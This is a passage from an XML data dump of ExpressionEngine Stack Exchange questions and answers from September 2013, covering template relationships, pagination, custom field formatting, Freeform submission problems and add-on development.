&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;destinations&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pictures_name   text input&#xA;maps        text input&#xA;description textarea&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &quot;deals&quot; template we have 5 relationship fields than are related with travel_packages. In deals template we chose the deals that we want to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the template we have the follow code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;deals&quot;}&#xA;{related_entries id=&quot;deal_01&quot;}&#xA;Date: {date} (travel_packages field)&#xA;Price: {price} (travel_packages field)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we want to show travel_packages relationship with destinations channel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we want to show&#xA;{title}&#xA;{pictures_name}&#xA;{maps}&#xA;Description: {description}&#xA;But those tags are from destinations channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{related_entries}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tried to use related_entries again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{related_entries id=&quot;destination&quot;}&#xA;{title}&#xA;{pictures_name}&#xA;{maps}&#xA;Description: {description}&#xA;{/related_entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2099" LastActivityDate="2014-12-29T04:27:27.033" Title="Relationship into relationship" Tags="|relationships|related-entries|related|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14030" PostTypeId="2" ParentId="14018" CreationDate="2013-09-24T15:38:14.127" Score="3" Body="&lt;p&gt;Depending on usage, you may want to just use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/index.html&quot; rel=&quot;nofollow&quot;&gt;Pages Module&lt;/a&gt;, which lets you configure custom URLs and connect them to the template of your choice. I use this quite a lot in my setups.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-24T15:38:14.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14031" PostTypeId="2" ParentId="14024" CreationDate="2013-09-24T16:00:48.140" Score="3" Body="&lt;p&gt;@naboovallay said it all really, but seeing as I had exactly the code you wanted already open, I figured I'd paste it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($current = '') {&#xA;    if ($current == '' OR $current == $this-&amp;gt;version)&#xA;        return FALSE;&#xA;&#xA;    if (preg_replace(&quot;/[^0-9\.]/&quot;, '', $current) &amp;lt; '1.1.0') {&#xA;        //###   Create ACTion IDs for the relevant functions   ###&#xA;        $formActions = array(&#xA;            &quot;google_feed&quot;&#xA;        );&#xA;        foreach ($formActions as $method) {&#xA;            $data = array(&#xA;                'class' =&amp;gt; $this-&amp;gt;class,&#xA;                'method' =&amp;gt; $method&#xA;            );&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;        }//###   End of foreach&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}//###   End of update function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most add-on developers store the version details in a config file in root of the module, so that can be easily read in by the construct...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   PHP5 Constructor   ###&#xA;function __construct() {&#xA;    require PATH_THIRD.'seo/config.php';&#xA;&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;version = $config['version'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...hence the version number of the build we can compare to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$config = array(&#xA;    'name'              =&amp;gt; &quot;SEO&quot;,&#xA;    &quot;class&quot;             =&amp;gt; &quot;Seo&quot;,&#xA;    &quot;version&quot;           =&amp;gt; &quot;1.1.0&quot;,&#xA;    'nsm_addon_updater' =&amp;gt; array('versions_xml' =&amp;gt; 'http://peteralewis.com/releases/seo/feed')&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-24T16:00:48.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14032" PostTypeId="2" ParentId="14024" CreationDate="2013-09-24T17:23:36.987" Score="2" Body="&lt;p&gt;There is a &lt;code&gt;version_compare&lt;/code&gt; function that can help simplify version comparison conditionals. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html#Module_name_upd%3a%3aupdate&quot; rel=&quot;nofollow&quot;&gt;See this example in the documentation.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-09-24T17:23:36.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14033" PostTypeId="1" CreationDate="2013-09-24T17:32:10.563" Score="2" ViewCount="587" Body="&lt;p&gt;I'm working on a blog site that uses a base index file as a &quot;driver&quot;, with embedded templates for all the important data. The embedded templates both have {exp:channel:entry} tags that display a certain # of blog entries. Each template is formatted differently per the certain # of blog entries being shown, as I wanted the last four entries to look different than the first four.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I'm having with pagination is that in the index files {exp:channel:entry} tag, I've set the limit to 1, and now it's giving me 10 pages worth of results (which is the total # of entries I have), but what I really want is just normal pagination that shows eight entries per page, formatted as I normally do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the relevant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? //Formats article page w/ embedded EE variables. ?&amp;gt;&#xA;&#xA;{embed=&quot;home/header&quot; page-title=&quot;Lean Articles&quot;}&#xA;{embed=&quot;resources/subhead&quot;}&#xA;&#xA;&amp;lt;? //Container for multiple blog articles, 700px wide defined by Grid system. ?&amp;gt; &#xA;&#xA;{embed=&quot;a_update/article-nav&quot;}&#xA;&#xA;{if segment_2 == &quot;&quot; || segment_2 == &quot;category&quot; || segment_2 == &quot;P1&quot;}&#xA;&#xA;    &amp;lt;span class=&quot;rightcol-700&quot;&amp;gt;&#xA;&#xA;&amp;lt;?//Embed main and side content for Homepage section of site.?&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;aupdate&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot; orderby=&quot;desc&quot; dynamic=&quot;off&quot;}&#xA;    {embed=&quot;a_update/.hidden_main_content&quot;}&#xA;    {embed=&quot;a_update/.hidden_side_content&quot;}&#xA;&#xA;       {paginate}&#xA;              &amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;      {/paginate} &#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;    &amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2100" LastActivityDate="2013-09-25T16:27:05.433" Title="Getting pagination to work w/ nested {exp:channel:entry} tags?" Tags="|templates|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14034" PostTypeId="1" AcceptedAnswerId="14038" CreationDate="2013-09-24T18:18:51.347" Score="1" ViewCount="1239" Body="&lt;p&gt;I have a field in my weblog where a price can be entered on my &lt;a href=&quot;http://www.hoekstraspecialty.com/index.php/shop/inventory_test/item/1079&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; which is run with EE 1.7.1.  In the template, I have a javascript code that adds a comma and a dollar sign.  The problem is that in the latest weblog entries, it is sending the entry field to the template wrapped in paragraph tags.  The tags don't show up when I look at the weblog itself, but when I inspect where it should be on the page, the source code shows the tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding script to remove the tags, but it seems like the html tag is crashing the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code, both for removing the tags and for adding the comma and dollar sign is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function checkP(p){&#xA;        if(p.substring(0,3) == &quot;&amp;lt;p&amp;gt;&quot;)&#xA;            p = p.substring(3,s.length-4);&#xA;        return p;&#xA;    }&#xA;&#xA;    function stripTags(p){&#xA;        var StrippedString = p.replace(/(&amp;lt;([^&amp;gt;]+)&amp;gt;)/ig,&quot;&quot;);&#xA;        return StrippedString;&#xA;    }&#xA;&#xA;    function addComma(amount){&#xA;        if(typeof amount == &quot;string&quot;){&#xA;            var a = checkP(amount);&#xA;        }else{&#xA;            var a = amount.toString();&#xA;        }&#xA;&#xA;        if(a.length &amp;gt; 3){&#xA;            var x = a.substring(0,a.length-3);&#xA;            var y = a.substring(a.length-3, a.length);&#xA;            var b = x + &quot;,&quot; + y;&#xA;            document.write(b);&#xA;        }else{&#xA;            document.write(a);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code that is controlling the price is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;inv_price&quot;&amp;gt;&#xA;        {if cf_inv_msrp!=&quot;&quot;}MSRP: &amp;lt;b&amp;gt;$&amp;lt;script&amp;gt;addComma(stripTags({cf_inv_msrp}));&amp;lt;/script&amp;gt;&amp;lt;/b&amp;gt;&#xA;        {if:elseif cf_inv_price !=&quot;&quot; AND cf_inv_price!=&quot;0&quot;}Price: &amp;lt;b&amp;gt;$&amp;lt;script&amp;gt;addComma({cf_inv_price});&amp;lt;/script&amp;gt;&amp;lt;/b&amp;gt;&#xA;        {if:else}&amp;lt;b&amp;gt;Call for Price&amp;lt;/b&amp;gt;{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add an alert to addComma, it never gets called which leaves me to believe that the tags are messing up the script's call.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code works for all of the other entries, and I've tried removing the price and added it again.  For an example of what the script should output, you can look at this &lt;a href=&quot;http://www.hoekstraspecialty.com/index.php/shop/inventory_test/item/1076&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2013-09-24T20:04:47.107" Title="Removing &lt;p&gt; tag from weblog text input field" Tags="|custom-fields|ee1|javascript|tags|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14035" PostTypeId="1" CreationDate="2013-09-24T19:05:09.847" Score="1" ViewCount="339" Body="&lt;p&gt;Freeform 4.1.2 EE 2.7 - &#xA;I have my forms setup and when I submit the forms not submitting, not being redirected to the redirect template no notifications.  Basically nothing is working.  After I press submit it just redirects to the home page www.domain?ACT=70&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form_name=&quot;contact&quot;&#xA;    return=&quot;Contact/thank_you&quot;&#xA;form_id=&quot;1&quot;&#xA;notify_admin=&quot;yes&quot;&#xA;admin_notify=&quot;user@domain.com&quot;&#xA;admin_notification_template=&quot;contact&quot; &#xA;required=&quot;email&quot; &#xA;require_captcha=&quot;yes&quot; &#xA;}&#xA;    &amp;lt;dl&amp;gt;&#xA;    {freeform:all_form_fields}&#xA;        &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd&amp;gt;{freeform:field_output}&amp;lt;/dd&amp;gt;&#xA;    {/freeform:all_form_fields}&#xA;    &amp;lt;/dl&amp;gt;&#xA;    {if freeform:captcha}&#xA;        &amp;lt;p&amp;gt;Please enter the word you see in the image below:&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;{freeform:captcha}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; style=&quot;width:140px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;    {if freeform:no_results}&#xA;        &amp;lt;p&amp;gt;&#xA;            Specified form was not found. Please make sure you have&#xA;            specified the correct short name of the form in the&#xA;            &amp;lt;b&amp;gt;form_name&amp;lt;/b&amp;gt; parameter.&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-09-25T12:20:54.303" Title="Freeform 4.1.2 EE 2.7 - forms not submitting" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14036" PostTypeId="1" CreationDate="2013-09-24T19:48:33.967" Score="1" ViewCount="92" Body="&lt;p&gt;I have searched high and low for answers to why my fields are not displaying properly or displaying data I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am basically trying to get the url for the playa entry selected in the backend to the frontend with an anchor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template setup is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;brands&quot; dynamic=&quot;no&quot; limit=&quot;100&quot;}&#xA;                    &amp;lt;li class=&quot;brand five columns&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;                            {brand_image}&#xA;                            &amp;lt;img src=&quot;{url}&quot; alt=&quot;{title}-image&quot; /&amp;gt;&#xA;                            {/brand_image}&#xA;                        &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;div class=&quot;band&quot;&amp;gt;{brand_logos}&amp;lt;img src=&quot;{url}&quot; alt=&quot;{title}-logo&quot; /&amp;gt;{/brand_logos}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;lookbooks&quot;&amp;gt;&#xA;&amp;lt;!-- start playa fields --&amp;gt;&#xA;                            &amp;lt;div class=&quot;columns two season&quot;&amp;gt;&#xA;                                    {lookbook_season} &amp;lt;!--this is the matrix field --&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{link}&quot; title=&quot;{season}&quot;&amp;gt;{season}&amp;lt;/a&amp;gt;&#xA;                                    {/lookbook_season}&#xA;                            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- end playa fields --&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;columns two social&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;columns eight&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;s1&quot; id=&quot;fbook&quot;&amp;gt;&amp;lt;a class=&quot;icon-facebook&quot; href=&quot;{facebook_link}&quot; title=&quot;facebook link&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;s1&quot; id=&quot;twit&quot;&amp;gt;&amp;lt;a class=&quot;icon-twitter&quot; href=&quot;{twitter_link}&quot; title=&quot;twitter link&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;                                &#xA;                                &amp;lt;div class=&quot;s1&quot; id=&quot;insta&quot;&amp;gt;&amp;lt;a class=&quot;icon-instagram&quot; href=&quot;{instagram_link}&quot; title=&quot;instagram link&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the setup in the backend if you need to know it is in the attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMcZJ.png&quot; alt=&quot;The matrix field in the backend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HGXc6.png&quot; alt=&quot;The playa field inside the matrix field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever had these problems before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-09-24T21:18:13.797" Title="Is there a way to display playa fields inside my matrix field?" Tags="|ee2|matrix|playa|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14037" PostTypeId="2" ParentId="13996" CreationDate="2013-09-24T20:04:31.623" Score="1" Body="&lt;p&gt;You should be using {event_&lt;strong&gt;start&lt;/strong&gt;_date} instead of {event_&lt;strong&gt;first&lt;/strong&gt;_date}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{event_&lt;strong&gt;first&lt;/strong&gt;_date} will always be the date of the first occurrence of an event (i.e. the first date of your event), whereas {event_&lt;strong&gt;start&lt;/strong&gt;_date}, when used in {exp:calendar:cal}, will be the start date of each occurrence.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-24T20:04:31.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14038" PostTypeId="2" ParentId="14034" CreationDate="2013-09-24T20:04:47.107" Score="3" Body="&lt;p&gt;Go to this field via Admin &gt; Channel Administration &gt; Channel Fields &gt; Group &gt; Field and switch the formatting back to XHTML confirm and then back again to none. When switching EE should show a checkbox before confirming asking if you want existing fields to be reformatted. Check this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively keep as XHTML in EE and use a plugin to alter the rendered format in template. I created a plugin to do this on Devot-ee. &lt;a href=&quot;http://devot-ee.com/add-ons/remove-html&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/remove-html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-09-24T20:04:47.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14039" PostTypeId="2" ParentId="14036" CreationDate="2013-09-24T21:18:13.797" Score="1" Body="&lt;p&gt;Try this for your matrix tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lookbook_season var_prefix=&quot;mx&quot;} &amp;lt;!--this is the matrix field --&amp;gt;&#xA;    &amp;lt;a href=&quot;{mx:link var_prefix='pl'}{pl:url_title}{/mx:link}&quot; title=&quot;{mx:season}&quot;&amp;gt;{mx:season}&amp;lt;/a&amp;gt;&#xA;{/lookbook_season}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To me it helps (and is sometimes required) to use var_prefix parameter to make sure you're targeting the right variable. But in your case what you're wanting I think is the url_title of the &quot;link&quot; playa field.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-09-24T21:18:13.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14040" PostTypeId="2" ParentId="13887" CreationDate="2013-09-24T22:04:10.360" Score="1" Body="&lt;p&gt;Ok, I've updated the error-ed line number 5259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ee()-&amp;gt;channel_form_lib-&amp;gt;entry_form();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ee()-&amp;gt;channel_form-&amp;gt;entry_form();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment everything seems to be working correctly. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2078" LastEditorUserId="150" LastEditDate="2013-09-28T10:16:11.257" LastActivityDate="2013-09-28T10:16:11.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14041" PostTypeId="1" CreationDate="2013-09-24T23:36:38.180" Score="1" ViewCount="67" Body="&lt;p&gt;Curious what happens when inventory for a product reaches 0. Does the channel entry automatically change its status to 'closed' so it doesn't appear as an option? Does it stay visible but cannot be added to the cart? Is there some error messaging associated with it? Also, if it's possible to set it manually, is it a system-wide setting or per-product basis? Any guidance is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1679" LastActivityDate="2013-09-25T02:58:20.900" Title="What happens to channel entries / products when inventory reaches 0 in expresso store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14042" PostTypeId="1" CreationDate="2013-09-24T23:53:51.833" Score="0" ViewCount="61" Body="&lt;p&gt;I have a serious problem with my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently made some changes to a site and its templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded all the correct items to the server via Beanstalk and git with a push to the remote repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I login I am perfectly fine going into the templates but when trying to view pages the correct templates are not rendering properly at all. When I go to the templates in the editor they are correct but they are not showing up on the frontend at all. It uses the wrong template which is not the correct one for the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any ideas at all as to why this may happen?&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-09-25T02:53:56.767" Title="How can I get my templates to work properly on my live site?" Tags="|ee2|templates|multi-site-manager|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14043" PostTypeId="2" ParentId="14042" CreationDate="2013-09-25T02:53:56.767" Score="1" Body="&lt;p&gt;Can you please clarify, is it that completely the wrong template is loaded or an out of date version of the template you have updated? Perhaps try synchronising the database and the files via Design &gt; Templates &gt; Synchronise Templates?&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-09-25T02:53:56.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14044" PostTypeId="2" ParentId="14041" CreationDate="2013-09-25T02:58:20.900" Score="2" Body="&lt;p&gt;The product will still show up in your templates, but the customer won’t be able to add them to their cart. The status will not change. As per the &lt;a href=&quot;https://exp-resso.com/docs/product_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Tag&lt;/a&gt; docs you could do something like the following in your template…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock} In Stock {if:else} Out of Stock {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-09-25T02:58:20.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14045" PostTypeId="2" ParentId="13950" CreationDate="2013-09-25T04:25:20.407" Score="1" Body="&lt;p&gt;OK, sorry for the delay in getting back to this, but I wanted to be sure things were working - and they are.  In talking with the host, and running several tests, they had me switch from wget to curl, and I am now getting regular backups.  Thanks to all for their responses and suggestions - and thank you, Eric, for a wonderful add-on!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-09-25T04:25:20.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14046" PostTypeId="2" ParentId="13971" CreationDate="2013-09-25T07:33:20.797" Score="1" Body="&lt;p&gt;this is a known bug and will be fixed in a release shortly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened due to changes to Safecracker in EE 2.7 and the subsequent removal of Safecracker File.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-25T07:33:20.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14047" PostTypeId="1" CreationDate="2013-09-25T10:07:00.057" Score="1" ViewCount="460" Body="&lt;p&gt;I have just updated EE to 2.7.1 and see that Safecracker is now changed to Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an extension which runs on submission end so have had to change the hook to the new hook for channel form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I am unable to get the submitted information as I did before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the top of my function, with the hook changed over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function channel_form_submit_entry_end($cf)&#xA;{       &#xA;    $entry_id = $cf-&amp;gt;entry['entry_id'];&#xA;    $member_id = $cf-&amp;gt;entry['author_id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do you now go about getting submitted information, as the following isnt working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cf-&amp;gt;entry['entry_id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2017-05-08T14:41:21.577" Title="New channel form hook, unable to get submitted data" Tags="|safecracker|channel-form|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14048" PostTypeId="1" AcceptedAnswerId="14054" CreationDate="2013-09-25T10:38:35.107" Score="2" ViewCount="132" Body="&lt;p&gt;When selling downloadable files, is there an existing way to track the number of times each user has downloaded a file after purchasing?&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-10-09T07:12:54.327" Title="Store - How to Count Downloads" Tags="|expresso-store|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14049" PostTypeId="2" ParentId="7081" CreationDate="2013-09-25T11:36:52.773" Score="0" Body="&lt;p&gt;Open system/expressionengine/modules/mailinglist/mod.mailinglist.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then set&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $email_confirm = FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1852" LastEditorUserId="1852" LastEditDate="2013-09-25T13:17:42.657" LastActivityDate="2013-09-25T13:17:42.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14050" PostTypeId="1" AcceptedAnswerId="14052" CreationDate="2013-09-25T12:03:47.577" Score="3" ViewCount="302" Body="&lt;p&gt;I constantly am getting the following messages in the developer logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function decode_date() called in system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 10. Deprecated since 2.6. Use Localize::format_date instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried Googling or search the forums/internets/stackexchange for answer on what exactly the message is trying to tell me, but I have no idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is running EE 2.6.1. Thanks for helping.&lt;/p&gt;&#xA;" OwnerUserId="1963" LastActivityDate="2013-09-25T12:28:21.470" Title="Developer notices, warnings, message" Tags="|developer-log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14051" PostTypeId="2" ParentId="14035" CreationDate="2013-09-25T12:20:54.303" Score="3" Body="&lt;p&gt;fond the issue, when using an index.html file as a site offline page causes the form to now work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the index.html and making the site live with the index.php file allowed the form to work&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-09-25T12:20:54.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14052" PostTypeId="2" ParentId="14050" CreationDate="2013-09-25T12:28:21.470" Score="3" Body="&lt;p&gt;An add-on you are using is called a deprecated function - which means that the function still works, but it has been superseded by a different function, and EllisLab wants developers to start using the new one. (This can be a pain for devs, since most want to support older versions of EE as well, which won't have the new function, so compatibility workarounds are required.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's nothing to worry about - eventually the developer will update the code (presumably before the deprecated function is removed). You can safely ignore the message.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T12:28:21.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14053" PostTypeId="2" ParentId="14047" CreationDate="2013-09-25T12:29:57.340" Score="3" Body="&lt;p&gt;Try this inside your hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($cf); exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will let you inspect the structure of the object passed by the hook, and find where &lt;code&gt;entry_id&lt;/code&gt; lives.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T12:29:57.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14054" PostTypeId="2" ParentId="14048" CreationDate="2013-09-25T12:36:01.467" Score="3" Body="&lt;p&gt;Not natively in Store. Similar to this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13058/track-logged-in-user-events&quot;&gt;question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link Vault&lt;/a&gt; can track downloads per user.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-09-25T12:36:01.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
